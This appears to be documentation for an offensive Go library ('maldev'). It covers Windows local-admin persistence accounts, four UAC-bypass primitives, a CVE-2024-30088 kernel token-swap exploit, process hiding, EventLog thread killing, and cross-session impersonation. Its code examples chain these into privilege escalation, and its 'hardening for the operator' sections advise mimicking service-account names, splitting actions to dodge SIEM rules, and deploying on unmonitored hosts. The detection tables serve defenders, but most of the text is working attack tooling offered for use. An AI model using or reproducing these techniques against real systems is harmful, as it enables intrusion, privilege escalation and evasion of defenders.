Creating a local account gives the operator a credential that survives reboots, password rotations on other accounts, and implant removal. Adding the account to Administrators (the SID-500 group) gives full local control. The trade-off is volume: SAM events are universally audited and any half-decent SIEM rule fires on a local-admin add from a non-IT context.

The package wraps the canonical Net* Win32 admin APIs — same surface that net user, Computer Management MMC, and PowerShell's New-LocalUser use. There is no stealthier API for local-account manipulation; the loudness is inherent to the technique.

How It Works

sequenceDiagram
    participant Op as "Operator"
    participant API as "NetAPI32"
    participant SAM as "Local SAM database"
    participant Audit as "Security audit log"

    Op->>API: NetUserAdd("svc-update", "P@ss…")
    API->>SAM: USER_INFO_1 record
    SAM-->>Audit: Event 4720 (account created)
    SAM-->>Audit: Event 4722 (account enabled)
    Op->>API: NetLocalGroupAddMembers("Administrators", "svc-update")
    API->>SAM: alias-member entry
    SAM-->>Audit: Event 4732 (user added to group)
    Note over Audit: SIEM correlation: account creation + admin add<br>from non-IT lineage = high-fidelity alert

The package's Add posts a USER_INFO_1 (level 1: name + password + privilege + home-dir + comment + flags + script-path) so the account is created enabled and password-set in a single call. SetAdmin is NetLocalGroupAddMembers against the well-known Administrators alias.

API Reference

SymbolDescription
Add(name, password string) errorNetUserAdd USER_INFO_1 — creates + enables in one call
Delete(name string) errorNetUserDel
SetPassword(name, password string) errorNetUserSetInfo USER_INFO_1003
AddToGroup(name, group string) errorNetLocalGroupAddMembers
RemoveFromGroup(name, group string) errorNetLocalGroupDelMembers
SetAdmin(name string) errorAddToGroup(name, "Administrators")
RevokeAdmin(name string) errorRemoveFromGroup(name, "Administrators")
Exists(name string) boolNetUserGetInfo probe
List() ([]Info, error)NetUserEnum walk
IsAdmin() boolCaller-side privilege check

type Info struct carries name, full-name, comment, RID, flags, last-login — surfaced by List and NetUserGetInfo.

Examples

Simple — add a service-looking account

import "github.com/oioio-space/maldev/persistence/account"

_ = user.Add("svc-update", "P@ssw0rd!2024")
defer user.Delete("svc-update")

Composed — add admin + group cleanup

if !user.IsAdmin() {
    return fmt.Errorf("requires local admin")
}
_ = user.Add("svc-update", "P@ssw0rd!2024")
_ = user.SetAdmin("svc-update")

// Tear down on uninstall
defer func() {
    _ = user.RevokeAdmin("svc-update")
    _ = user.Delete("svc-update")
}()

Advanced — pair with service persistence

Run the implant as the new account so the service uses its credential at every restart — credential persistence + autostart in one composite mechanism.

import (
    "github.com/oioio-space/maldev/persistence"
    "github.com/oioio-space/maldev/persistence/account"
    "github.com/oioio-space/maldev/persistence/service"
)

_ = user.Add("svc-update", "P@ssw0rd!2024")
_ = user.SetAdmin("svc-update")

mechanisms := []persistence.Mechanism{
    service.Service(&service.Config{
        Name:      "WinUpdate",
        BinPath:   `C:\ProgramData\Microsoft\winupdate.exe`,
        StartType: service.StartAuto,
        // The service runs as LocalSystem by default; specifying
        // svc-update would route through SCM ChangeServiceConfig
        // and require LogonAsAService.
    }),
}
_ = persistence.InstallAll(mechanisms)

See ExampleAdd.

OPSEC & Detection

ArtefactWhere defenders look
Security 4720 (user created)Universal audit; SIEM rule: 4720 from non-IT-OU = high-fidelity alert
Security 4722 (user enabled)Pairs with 4720 in baseline rules
Security 4732 (member added to group)Especially for Administrators / Backup Operators / Remote Desktop Users SIDs
Security 4724 (password reset by another account)SetPassword on a non-self account
NetUserAdd API call from a non-IT processEDR API telemetry (Defender ATP, MDE)
Net1.exe / dsadd.exe lineage absenceDirect API use bypasses child-process telemetry but emits the same audit events

D3FEND counters:

  • D3-LAM — local SAM event auditing.
  • D3-UAP — group-membership change detection.

Hardening for the operator:

  • Pick a name that mimics service accounts (svc-*, WindowsUpdate, defender-cu) — naive correlation against user-named accounts misses these.
  • Don't immediately add to Administrators on creation — split the actions across hours or use a Backup Operators / Remote Desktop Users membership instead, which raises lower-priority alerts.
  • Pair with cleanup to delete the account at op end — long-lived dormant accounts attract proactive review.
  • Avoid this technique entirely if the target has Just-In-Time admin (Microsoft LAPS, Azure PIM); event 4720 there is effectively a tripwire.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1136.001Create Account: Local AccountfullD3-LAM
T1098Account Manipulationpartial — group-membership add/remove via AddToGroup / SetAdminD3-UAP

Limitations

  • Admin required for most operations. Add, Delete, SetAdmin, SetPassword (against another account) need local administrator. IsAdmin lets the caller check before attempting.
  • Domain-joined hosts. Group Policy can disable local account creation entirely (DenyAddingLocalAccounts); the call returns ERROR_INVALID_PARAMETER.
  • Audit cannot be suppressed from user mode. SAM events fire pre-authorization; only kernel-level tampering (out-of-scope) silences them.
  • No domain-account support. This package wraps NetUserAdd against the local SAM only. Domain accounts require LDAP / NetUserAdd to a DC — separate concern.

See also

Privilege escalation (privesc/*)

← maldev README · docs/index

The privesc/* package tree groups primitives that take a non-elevated user token and produce SYSTEM-context execution.

flowchart TB
    subgraph startState [Start state]
        Medium["Medium-IL token<br>(typical user)"]
    end
    subgraph paths [Escalation paths]
        UAC["uac/*<br>fodhelper / slui /<br>silentcleanup / eventvwr"]
        CVE["cve202430088/*<br>kernel TOCTOU race"]
    end
    subgraph end [End state]
        High["High-IL token (UAC)"]
        SYSTEM["NT AUTHORITY\\SYSTEM<br>(token swap)"]
    end
    Medium -->|admin user, UAC default| UAC
    UAC --> High
    Medium -->|vulnerable build < 2024-06| CVE
    CVE --> SYSTEM

Decision tree

State / questionPath
"User is admin, UAC is default-notify, just need elevation."privesc/uac — pick the bypass that survives the build
"Need SYSTEM, host build < June 2024 patch."privesc/cve202430088
"Already SYSTEM, need TrustedInstaller."win/impersonate.RunAsTrustedInstaller
"Already admin, need elevation without UAC bypass."win/privilege.ShellExecuteRunAs (visible UAC prompt)

Per-package pages

  • uac.md — four bypass primitives (FODHelper, SLUI, SilentCleanup, EventVwr) with build-window tables.
  • cve202430088.md — CVE-2024-30088 kernel TOCTOU race with pre-flight version probe and BSOD-risk caveat.

Pre-flight pattern

import (
    "github.com/oioio-space/maldev/win/version"
    "github.com/oioio-space/maldev/win/privilege"
)

admin, elevated, _ := privilege.IsAdmin()
switch {
case elevated:
    // already there
case admin && !elevated:
    // UAC bypass
case !admin:
    // CVE path or credential capture
}

if info, _ := version.CVE202430088(); info.Vulnerable {
    // kernel race available
}

MITRE ATT&CK rollup

IDTechniqueOwners
T1548.002Bypass User Account Controlprivesc/uac
T1068Exploitation for Privilege Escalationprivesc/cve202430088
T1134.001Token Impersonation/Theftprivesc/cve202430088 (token swap)

See also

UAC bypasses

← privesc techniques · docs/index

TL;DR

Five primitives that hijack auto-elevating Windows binaries to spawn an elevated process without a consent prompt when the calling user is already in Administrators and UAC is at the "Default" level (the OS shipping default).

PrimitiveHijack targetSurfaceBuild cut-off
uac.FODHelper(path)fodhelper.exe ms-settings\CurVerHKCU registryWin10 1709 → 24H2 (working as of 22H2 — vendors patch periodically)
uac.SLUI(path)slui.exe exefile shell\openHKCU registryWin7+
uac.SilentCleanup(path)SilentCleanup task windir envHKCU envWin8+
uac.EventVwr(path)eventvwr.exe mscfile shell\openHKCU registryWin7 → 17134
uac.EventVwrLogon(...)EventVwr + alt-credsHKCU registry + Secondary Logonas EventVwr

[!IMPORTANT] All five hijack auto-elevation behaviour, so they require:

  1. Caller already runs as a member of Administrators (UAC downgrades elevation under "Default" but does not exist when the user is not admin).
  2. UAC level is not "Always notify" — that level cannot be silenced.

Primer

UAC's "Default" mode auto-elevates a small set of trusted system binaries (those with autoElevate=true in their manifest and located under System32). When such a binary launches it inherits the user's full admin token without prompting. If that binary then reads a registry key or environment variable from HKCU (or HKEY_CURRENT_USER evaluated under the original user's context) and uses it as a command path, an attacker can pre-stage that path to point at their payload.

Each technique exploits one such delegation:

  • fodhelper.exe reads HKCU\Software\Classes\ms-settings\Shell\Open\Command before falling back to HKLM.
  • slui.exe reads HKCU\Software\Classes\exefile\shell\open\command.
  • SilentCleanup task runs as elevated and resolves %windir% from the per-user environment.
  • eventvwr.exe reads HKCU\Software\Classes\mscfile\shell\open\command.

How it works

sequenceDiagram
    participant Op as "Operator"
    participant Reg as "HKCU registry"
    participant Auto as "fodhelper.exe (auto-elev)"
    participant Shell as "Shell\Open\Command"
    Op->>Reg: write ms-settings\Shell\Open\Command = payload.exe
    Op->>Auto: ShellExecute(fodhelper.exe)
    Note over Auto: kernel grants High-IL token<br>(autoElevate=true + System32 + signed)
    Auto->>Reg: read ms-settings\Shell\Open\Command
    Reg-->>Auto: payload.exe
    Auto->>Shell: CreateProcess(payload.exe)
    Shell-->>Op: payload runs at High IL
    Op->>Reg: cleanup hijack key (defer)

Common implementation skeleton (all 4 follow the same shape):

  1. Open / create the hijack key under HKCU.
  2. Set the default value to the operator's path.
  3. Possibly set DelegateExecute to empty (FODHelper-style).
  4. ShellExecuteW the auto-elevating binary.
  5. Wait briefly for the spawn (Sleep ~1s — the auto-elev binary is a fast-cleanup target).
  6. Delete the hijack key.

API Reference

func FODHelper(path string) error
func SLUI(path string) error
func SilentCleanup(path string) error
func EventVwr(path string) error
func EventVwrLogon(domain, user, password, path string) error

FODHelper(path) / SLUI(path) / SilentCleanup(path) / EventVwr(path)

Parameters:

  • path — full command line that runs at High IL. Use a quoted absolute path with arguments, e.g. "C:\\Users\\Public\\impl.exe --once".

Returns: error — non-nil if the registry write fails or the auto-elevating binary cannot be launched. Returns nil once the hijack is registered and the binary is launched — the function does not wait for the elevated child to exit.

Side effects:

  • HKCU registry write under Software\Classes\<scheme>\Shell\Open\Command (or task-env equivalent for SilentCleanup).
  • Spawn of fodhelper.exe / slui.exe / taskeng.exe / eventvwr.exe parented to the calling implant.
  • Cleanup runs in a deferred goroutine — the registry key is left briefly visible during the spawn window.

OPSEC: noisy. Process-tree (fodhelper.exe → cmd.exe) is the detection focus, plus Microsoft-Windows-Sysmon/Operational event 13 (registry write) under HKCU\Software\Classes\<unusual>.

EventVwrLogon(domain, user, password, path)

EventVwr variant that uses CreateProcessWithLogonW to launch the auto-elev binary under different credentials. Useful when the current implant is running as a non-admin user and you have admin creds — the Secondary Logon service runs the elevated child.

Examples

Simple — FODHelper

if err := uac.FODHelper(`C:\Users\Public\impl.exe`); err != nil {
    return err
}
// Sleep enough for fodhelper.exe to read+launch before cleanup.
time.Sleep(2 * time.Second)

Composed — pre-flight then choose

import (
    "github.com/oioio-space/maldev/privesc/uac"
    "github.com/oioio-space/maldev/win/privilege"
    "github.com/oioio-space/maldev/win/version"
)

admin, elevated, _ := privilege.IsAdmin()
if elevated || !admin {
    return errors.New("not a UAC scenario")
}
v := version.Current()
switch {
case version.AtLeast(version.WINDOWS_10_22H2):
    return uac.FODHelper(payload)
case v.BuildNumber >= 7600 && v.BuildNumber < 17134:
    return uac.EventVwr(payload)
default:
    return uac.SilentCleanup(payload)
}

Advanced — chain into ImpersonateThread

After the bypass spawns an elevated child, the child can call win/impersonate.GetSystem for the Medium-IL → SYSTEM jump (winlogon.exe token clone). End-to-end: Medium → High via UAC → SYSTEM via SeDebugPrivilege.

OPSEC & Detection

VectorVisibilityMitigation
HKCU registry writeSysmon ID 13 / 14Use Software\Classes\<random> key only when needed; clean fast
Auto-elev process treeSysmon ID 1 + parent-child ruleInject into explorer.exe first to break the lineage
Hijacked binary parent of cmdMicrosoft-Windows-Security 4688Same as above
Build-windowed primitivesVendor signatures recognise the hijack key pathsChoose primitive per win/version

fodhelper.exe → cmd.exe is a textbook EDR rule. Real engagements inject the elevated payload into a long-lived child (e.g., process/herpaderping) rather than spawning cmd.exe directly.

MITRE ATT&CK

  • T1548.002 (Bypass User Account Control)

Limitations

  • All five fail under "Always notify" UAC.
  • All five fail when the user is not admin.
  • HKCU key paths and DelegateExecute behaviour have shifted across builds. EventVwr is dead from Win10 17134+.
  • The hijack window is narrow but non-zero — defenders snapshotting HKCU during incident response will see the leftover key.

See also

CVE-2024-30088 — kernel TOCTOU → SYSTEM

← privesc techniques · docs/index

TL;DR

cve202430088.Run(ctx) exploits a Windows kernel TOCTOU race in AuthzBasepCopyoutInternalSecurityAttributes to swap the calling thread's primary token with lsass.exe's SYSTEM token. CVSS 7.0, patched June 2024 (KB5039211). Use only in authorised engagements — the race is non-deterministic and may BSOD on misfire.

[!WARNING] Race exploits crash kernels when they misfire. The exploit retries until success or context cancellation. Do not run on hosts where a reboot is unacceptable. Always pre-flight with version.CVE202430088() to confirm the host is in the vulnerable build window.

Primer

AuthzBasepCopyoutInternalSecurityAttributes is invoked by NtAccessCheckByTypeAndAuditAlarm when the caller queries a SECURITY_DESCRIPTOR they own. The kernel reads the descriptor, validates it, and then re-reads to copy. Between the two reads the attacker swaps the descriptor pointer to a kernel object — the second read lands inside kernel space and the kernel happily writes the operator-controlled bytes to the new target.

The write primitive is pivoted into a token swap:

  1. Locate lsass.exe's _EPROCESS and read its Token.
  2. Use the kernel write to overwrite _EPROCESS.Token of the calling process with the SYSTEM token.
  3. Subsequent thread spawns inherit SYSTEM — the elevation is permanent for the process lifetime.

Discovery: k0shl (Angelboy) — DEVCORE. CWE-367.

Affected versions

OSVulnerable untilPatched in
Windows 10 1507 → 22H2June 2024 patchKB5039211 family
Windows 11 21H2 → 23H2June 2024 patchKB5039239 / KB5039212
Windows Server 2016 / 2019 / 2022 / 2022 23H2June 2024 patchKB504xxxx family

version.CVE202430088() returns the precise vulnerable/patched state including the UBR cut-off.

How it works

sequenceDiagram
    participant U as "User-mode race-thread"
    participant K as "Kernel"
    participant Lsa as "lsass.exe (PPL)"
    par Race thread
        U->>U: flip SD ptr → kernel obj
    and Probe thread
        U->>K: NtAccessCheckByTypeAndAuditAlarm(SD*)
        K->>K: read SD (validate)
        K->>K: re-read SD (copy)
        Note over K: SD ptr now points to kernel obj<br>(race won)
        K->>K: kernel write @ controlled addr
    end
    U->>K: read lsass _EPROCESS.Token
    K-->>U: SYSTEM token handle
    U->>K: kernel write self._EPROCESS.Token = SYSTEM
    K-->>U: success
    U->>U: spawn cmd.exe — inherits SYSTEM

Implementation:

  1. Run resolves the kernel symbols it needs via win/version gated lookup tables (offsets to _EPROCESS.Token, Pcb.ImageFileName).
  2. Spawns the race thread that flips the descriptor pointer in a tight loop.
  3. Spawns the probe thread that calls NtAccessCheckByTypeAndAuditAlarm repeatedly.
  4. Once a write lands the exploit reads lsass.Token and overwrites self.Token.
  5. By default, spawns cmd.exe as the post-elevation command. Use RunWithExec to override.

API Reference

type Result struct {
    PID      int           // PID elevated (== current PID)
    Spawned  *exec.Cmd     // post-elev process
    Duration time.Duration // wall-clock time the race took
}

type Config struct {
    Exec    string        // default "cmd.exe"
    Args    []string
    Timeout time.Duration // default 30s
}

func DefaultConfig() Config
func Run(ctx context.Context) (*Result, error)
func RunWithExec(ctx context.Context, cfg Config) (*Result, error)
func CheckVersion() (VersionInfo, error)

Run(ctx) (*Result, error)

Parameters:

  • ctx — cancel via context to abort the race.

Returns:

  • *Result — populated PID / Spawned / Duration on success.
  • errorErrPatched if pre-flight detects a patched build, ErrTimeout if the race window expires before success, or wrapped syscall errors for kernel-side failures.

Side effects:

  • Modifies the calling process's _EPROCESS.Token permanently (until process exit).
  • Spawns cmd.exe (or Config.Exec) as the elevated child.
  • Logs to ETW providers monitored by EDRs (race thread NtCalls).

OPSEC: noisy — see Detection table below.

RunWithExec(ctx, cfg) (*Result, error)

Same as Run but uses cfg.Exec + cfg.Args as the post-elev command. Use this when you want to spawn an implant directly instead of cmd.exe.

CheckVersion() (VersionInfo, error)

Companion to version.CVE202430088. Returns VersionInfo with Vulnerable boolean.

Examples

Simple — pre-flight then run

import (
    "context"
    "github.com/oioio-space/maldev/privesc/cve202430088"
    "github.com/oioio-space/maldev/win/version"
)

if info, _ := version.CVE202430088(); !info.Vulnerable {
    return errors.New("host patched")
}
res, err := cve202430088.Run(context.Background())
if err != nil {
    return err
}
defer res.Spawned.Wait()

Composed — custom payload spawn

cfg := cve202430088.Config{
    Exec:    `C:\Users\Public\impl.exe`,
    Args:    []string{"--once", "--quiet"},
    Timeout: 60 * time.Second,
}
res, err := cve202430088.RunWithExec(context.Background(), cfg)
if err != nil {
    return err
}
log.Printf("elevated in %s, payload PID %d", res.Duration, res.Spawned.Process.Pid)

Advanced — fall-through chain

admin, elevated, _ := privilege.IsAdmin()
if elevated {
    return nil // already there
}
if admin {
    if err := uac.FODHelper(payload); err == nil {
        return nil
    }
    // UAC bypass blocked → fall through to kernel exploit
}
if info, _ := version.CVE202430088(); info.Vulnerable {
    _, err := cve202430088.Run(ctx)
    return err
}
return errors.New("no escalation path available")

OPSEC & Detection

VectorVisibilityMitigation
Tight NtAccessCheckByTypeAndAuditAlarm loopETW Microsoft-Windows-Threat-IntelligenceThrottle race thread; accept lower success rate
_EPROCESS.Token swap detected by snapshot diffingEDR kernel callbacks (PsSetCreateProcessNotifyRoutineEx)None — the swap is the goal
BSOD on misfireCrash dump + 0x7E / 0x50 stop codePre-flight version check; abort on hardened hosts
Post-elev cmd.exeProcess tree (your PID parent of cmd.exe SYSTEM)Use RunWithExec for in-process payload spawn

This primitive is in vendor signature databases as of mid-2024. Defender + ESET + Sentinel detect the race window via ETW. Best deployed on hosts you have already determined are unmonitored.

MITRE ATT&CK

  • T1068 (Exploitation for Privilege Escalation) — kernel TOCTOU
  • T1134.001 (Token Impersonation/Theft)_EPROCESS.Token swap

Limitations

  • Race is non-deterministic. Default 30s timeout — increase via Config.Timeout for hardened hosts where the race window is shorter.
  • May BSOD on misfire (kernel write to invalid address). The exploit guards against the most common misfires but cannot rule them out.
  • Requires SeChangeNotifyPrivilege (granted to all users) and Windows 10 1507+ — not Win7/8.
  • Patched hosts (post-June 2024) return ErrPatched from pre-flight.

See also

Process techniques

← maldev README · docs/index

The process/* package tree groups two concerns:

  1. Discovery / management (enum, session) — cross-platform process listing and Windows session / token enumeration.
  2. Tampering (tamper/fakecmd, tamper/herpaderping, tamper/hideprocess, tamper/phant0m) — Windows-only primitives that lie about, hide, or silence parts of the running-process picture.
flowchart TB
    subgraph discovery [Discovery / management]
        ENUM[enum<br>Win32 Toolhelp + Linux /proc<br>List / FindByName / FindProcess]
        SESS[session<br>WTSEnumerate + cross-session<br>CreateProcess / Impersonate]
    end
    subgraph tamper [process/tamper/*]
        FK[fakecmd<br>PEB CommandLine spoof<br>self + remote PID]
        HD[herpaderping<br>kernel image-section cache<br>Herpaderping + Ghosting]
        HP[hideprocess<br>NtQSI patch in target<br>blind Task Manager / ProcExp]
        PH[phant0m<br>EventLog thread termination<br>SCM still RUNNING]
    end
    subgraph consumers [Downstream consumers]
        LSA[credentials/lsassdump]
        INJ[inject/*]
        EVA[evasion.Technique chains]
    end
    ENUM --> LSA
    ENUM --> HP
    ENUM --> PH
    SESS --> INJ
    HD --> EVA
    PH --> EVA

Packages

PackageTech pageDetectionOne-liner
process/enumenum.mdquietCross-platform process list / find-by-name (Windows + Linux)
process/sessionsession.mdmoderateWindows session enum + cross-session CreateProcess / Impersonate
process/tamper/fakecmdfakecmd.mdquietPEB CommandLine spoof (self + remote PID)
process/tamper/herpaderpingherpaderping.mdmoderateKernel image-section cache exploit (Herpaderping + Ghosting)
process/tamper/hideprocesshideprocess.mdmoderatePatch NtQSI in target → blind Task Manager / ProcExp
process/tamper/phant0mphant0m.mdnoisyTerminate EventLog worker threads; SCM still shows RUNNING

Quick decision tree

You want to…Use
…find a process by name (cross-platform)enum.FindByName
…enumerate Windows sessions / userssession.Active
…spawn under another user's tokensession.CreateProcessOnActiveSessions
…run a callback under another user's identity brieflysession.ImpersonateThreadOnActiveSession
…spoof your process's command-line in user-mode triagefakecmd.Spoof
…spawn a process whose disk image liesherpaderping.Run (ModeHerpaderping or ModeGhosting)
…blind a single analyst tool's process listinghideprocess.PatchProcessMonitor
…silence the Windows Event Log without sc stopphant0m.Kill

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1057Process Discoveryprocess/enum, process/sessionD3-PA
T1134.001Access Token Manipulation: Token Impersonation/Theftprocess/sessionD3-USA
T1134.002Access Token Manipulation: Create Process with Tokenprocess/sessionD3-PSA
T1036.005Masquerading: Match Legitimate Name or Locationprocess/tamper/fakecmdD3-PSA
T1055.013Process Doppelgängingprocess/tamper/herpaderpingD3-PSA, D3-FCA
T1027.005Indicator Removal from Toolsprocess/tamper/hideprocess, process/tamper/herpaderpingD3-SCA
T1564.001Hide Artifacts: Hidden Processprocess/tamper/hideprocessD3-RAPA
T1562.002Impair Defenses: Disable Windows Event Loggingprocess/tamper/phant0mD3-RAPA, D3-PA

Layered cover recipe

A typical "look like svchost while running implant work" stack:

  1. Spawn via herpaderping so the on-disk image lies (or is gone, with ModeGhosting).
  2. PEB CommandLine via fakecmd.Spoof so user-mode triage shows svchost.exe -k netsvcs.
  3. Identity at link time via pe/masquerade/preset/svchost so VERSIONINFO + manifest + icon all match.
  4. Authenticode via pe/cert.Copy so file-property dialogs see a Microsoft signature.
  5. Triage tools via hideprocess so the first user opening Task Manager sees nothing.
  6. Logs via phant0m.Kill so EventLog doesn't capture lateral activity.

Each step has its own detection profile; layered, the bar rises significantly.

See also

Process enumeration

← process index · docs/index

TL;DR

List or find running processes by name across Windows + Linux. Pure Go on top of CreateToolhelp32Snapshot / /proc. Used by credentials/lsassdump to find lsass, by process/tamper/phant0m to find the EventLog svchost, and by every "find this process by name" workflow that doesn't want a Windows-specific dependency.

Primer

Process enumeration is the "hello world" of post-exploitation discovery. Every implant eventually wants to find lsass.exe, explorer.exe, the EventLog svchost, the user's browser. The package wraps the platform's standard listing API and surfaces the same Process struct shape on both OSes.

The technique itself is universally invisible — every Task Manager, every ps, every container runtime calls these APIs. EDRs do not flag the enumeration; they correlate it against subsequent suspicious actions (lsass open, token theft, process hollowing).

How It Works

flowchart LR
    subgraph win [Windows]
        TH[CreateToolhelp32Snapshot<br>TH32CS_SNAPPROCESS]
        TH --> P32[Process32First/Next walk]
        P32 --> WIN[Process<br>PID/PPID/Name]
    end
    subgraph linux [Linux]
        PROC[walk /proc/&lt;pid&gt;/]
        PROC --> COMM[read comm + status]
        COMM --> LIN[Process<br>PID/PPID/Name]
    end
    WIN --> OUT[List or FindByName or FindProcess]
    LIN --> OUT

The comm file on Linux carries the truncated 16-byte process name; for the full executable path use process/session.ImagePath (Windows-only) or read /proc/<pid>/exe.

API Reference

type Process

godoc

FieldTypeDescription
PIDuint32Process ID
PPIDuint32Parent process ID
NamestringImage base name (e.g., notepad.exe)

Functions

SymbolDescription
List() ([]Process, error)Snapshot of every running process
FindByName(name string) ([]Process, error)Filter by image name (case-insensitive on Windows)
FindProcess(pred) (*Process, error)First match where pred(name, pid, ppid) returns true

Examples

Simple — list everything

import "github.com/oioio-space/maldev/process/enum"

procs, _ := enum.List()
for _, p := range procs {
    fmt.Printf("%5d %5d %s\n", p.PID, p.PPID, p.Name)
}

Composed — find lsass + open it

import (
    "github.com/oioio-space/maldev/credentials/lsassdump"
    "github.com/oioio-space/maldev/process/enum"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

procs, _ := enum.FindByName("lsass.exe")
if len(procs) == 0 {
    return
}
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
h, err := lsassdump.OpenLSASS(caller)
defer lsassdump.CloseLSASS(h)

Find a child of explorer.exe that runs from a user-writable path — typical pattern for finding an injection target.

explPID := uint32(0)
procs, _ := enum.FindByName("explorer.exe")
if len(procs) > 0 {
    explPID = procs[0].PID
}
target, _ := enum.FindProcess(func(name string, pid, ppid uint32) bool {
    return ppid == explPID && strings.HasSuffix(name, ".exe")
})

See ExampleFindByName

OPSEC & Detection

ArtefactWhere defenders look
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS) callsUniversal API — every Task Manager, AV, EDR uses it. Not a useful signal.
Sustained polling of process listBehavioural EDR may flag a process that calls Process32Next thousands of times per second
Enumeration immediately followed by OpenProcess(lsass, VM_READ)EDR rule correlation — credential dumping pattern
/proc walks from non-shell processesLinux EDR rules; rare unless the implant polls aggressively

D3FEND counters:

  • D3-PA — behavioural correlation of enumeration + subsequent open/inject calls.

Hardening for the operator:

  • Enumerate once, cache, reuse — sustained polling stands out.
  • Scope FindProcess predicates tightly so the package short-circuits on the first match (avoid full snapshot walks when you only need one PID).
  • Pair with process/session.Active instead of full enum when you only need logged-in interactive sessions.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1057Process Discoveryfull — name + predicate search across Windows + LinuxD3-PA

Limitations

  • Process32Next race conditions. Processes can exit between snapshot and read; Windows handles this gracefully but FindProcess may miss a process that existed at the start of the walk.
  • No image-path resolution. Process carries name only. For full path use process/session.ImagePath (Windows) or read /proc/<pid>/exe (Linux).
  • No command-line. PEB-based command-line surfacing is out of scope; use a separate ETW / WMI query when the command line matters.
  • Linux comm is truncated. 15 chars + nul. Process names longer than that need /proc/<pid>/cmdline[0].

See also

Session enumeration & cross-session execution

← process index · docs/index

TL;DR

Enumerate Windows logon sessions via WTSEnumerateSessions, spawn processes under another user's token with proper station/desktop handles, and impersonate other users on a locked OS thread. Used to plant per-user persistence across multi-user hosts (Citrix / RDS / terminal server) and to run short callbacks under alternate credentials without spawning a full process. Windows-only.

Primer

A multi-user Windows host runs a separate logon session per interactive user, each with its own desktop, station, and token. Implants planted in one session can't influence another by default — process creation in session 0 doesn't appear on the user's desktop, and a kerberos ticket cached in user A's session is invisible to user B.

process/session bridges those gaps:

  • List / Active enumerate sessions via WTS APIs. Active filters to currently-logged-on interactive sessions — the ones that matter operationally.
  • CreateProcessOnActiveSessions spawns a process under another user's token in their desktop — useful for per-user persistence on a host that won't reboot soon.
  • ImpersonateThreadOnActiveSession runs a callback on a locked OS thread under alternate credentials, then reverts. Useful for filesystem / network operations that need the user's identity but not a full process.

The package handles the Win32 plumbing: token duplication, environment-block construction (CreateEnvironmentBlock), profile loading (LoadUserProfile), station + desktop attachment (winsta0\default).

How It Works

sequenceDiagram
    participant Op as "Operator"
    participant WTS as "WTSEnumerateSessions"
    participant Tok as "token.Token (user)"
    participant Env as "CreateEnvironmentBlock"
    participant CP as "CreateProcessAsUser"
    participant Imp as "Implant"

    Op->>WTS: List() / Active()
    WTS-->>Op: []Info{SessionID, Username, …}
    Op->>Tok: WTSQueryUserToken(sessionID)
    Op->>Env: CreateEnvironmentBlock(tok)
    Op->>CP: CreateProcessAsUser(tok, exe, env, "winsta0\\default")
    CP->>Imp: process spawned in user's desktop

API Reference

type SessionState uint32 / type Info

godoc

Info carries SessionID, Username, State, Domain, StationName — the surface returned by WTSEnumerateSessions.

Functions

SymbolDescription
List() ([]Info, error)Every session known to WTS
Active() ([]Info, error)WTSActive-state sessions only (logged-on interactive)
Threads(pid uint32) ([]uint32, error)Per-process thread ID listing
ImagePath(pid uint32) (string, error)Resolve full image path via QueryFullProcessImageName
Modules(pid uint32) ([]Module, error)Loaded modules list
CreateProcessOnActiveSessions(tok, exe, args)Spawn under another user's token + parent's desktop (default — typically Winsta0\Default for an interactive logon)
CreateProcessOnActiveSessionsWith(tok, exe, args, opts)[Options]-aware variant — set Options.Desktop to override the destination winstation\desktop (STARTUPINFOW.lpDesktop)
ImpersonateThreadOnActiveSession(tok, fn)Run fn on locked OS thread under tok's credentials

type Options

godoc

FieldDescription
DesktopDestination winstation\desktop name passed via STARTUPINFOW.lpDesktop. Empty (default) inherits the caller's station+desktop — Winsta0\Default for an interactive logon, Service-0x0-3e7$\Default for SYSTEM service contexts. Set this to redirect spawned UI onto a hidden desktop or a specific service station.

Examples

Simple — list active sessions

import "github.com/oioio-space/maldev/process/session"

infos, _ := session.Active()
for _, i := range infos {
    fmt.Printf("session %d: %s\\%s (%v)\n",
        i.SessionID, i.Domain, i.Username, i.State)
}

Composed — per-user persistence on RDS

Spawn the implant under each active user's token so each user sees the persistence in their session.

import (
    "github.com/oioio-space/maldev/process/session"
    "github.com/oioio-space/maldev/win/token"
)

infos, _ := session.Active()
for _, i := range infos {
    tok, err := token.WTSQueryUserToken(i.SessionID)
    if err != nil {
        continue
    }
    _ = session.CreateProcessOnActiveSessions(tok,
        `C:\Users\Public\winupdate.exe`,
        []string{"--silent"},
    )
}

Advanced — short impersonation for SMB write

Mount a per-user workflow under a target user's identity without spawning a separate process.

import (
    "os"

    "github.com/oioio-space/maldev/process/session"
    "github.com/oioio-space/maldev/win/token"
)

tok, _ := token.WTSQueryUserToken(targetSessionID)
_ = session.ImpersonateThreadOnActiveSession(tok, func() error {
    // Inside this callback, the OS thread runs as the user.
    // Network / file ops use the user's credentials.
    f, err := os.Create(`\\fileshare\\users\\target\\report.docx`)
    if err != nil {
        return err
    }
    return f.Close()
})

Advanced — alternate desktop / station

CreateProcessOnActiveSessionsWith opens the door to redirecting the spawned process onto a non-default desktop. Two operator scenarios:

import (
    "github.com/oioio-space/maldev/process/session"
    "github.com/oioio-space/maldev/win/token"
)

tok, _ := token.WTSQueryUserToken(sessionID)

// 1) Spawn onto the SYSTEM service station (when running as SYSTEM
//    and you want the new process to live alongside services
//    instead of jumping into the user's interactive desktop).
_ = session.CreateProcessOnActiveSessionsWith(tok,
    `C:\Windows\System32\cmd.exe`,
    nil,
    session.Options{Desktop: `Service-0x0-3e7$\Default`},
)

// 2) Spawn onto a hidden desktop you set up upstream via
//    CreateDesktopW so the UI is invisible to the user even if the
//    binary creates windows.
_ = session.CreateProcessOnActiveSessionsWith(tok,
    `C:\Users\Public\impl.exe`,
    nil,
    session.Options{Desktop: `Winsta0\maldev-stealth`},
)

See ExampleList

OPSEC & Detection

ArtefactWhere defenders look
Security Event 4624 (logon) with type 9 (NewCredentials)Cross-session process creation + impersonation
Security Event 4648 (explicit credentials logon)Token-based process creation
Process tree: svchost spawning under a user that doesn't own svchostLineage anomaly — Defender / MDE rules
WTSEnumerateSessions from non-Microsoft processesRare; some EDRs flag
Multiple sessions seeing the same implant binary path simultaneouslyPer-user persistence pattern

D3FEND counters:

  • D3-USA — session creation event correlation.
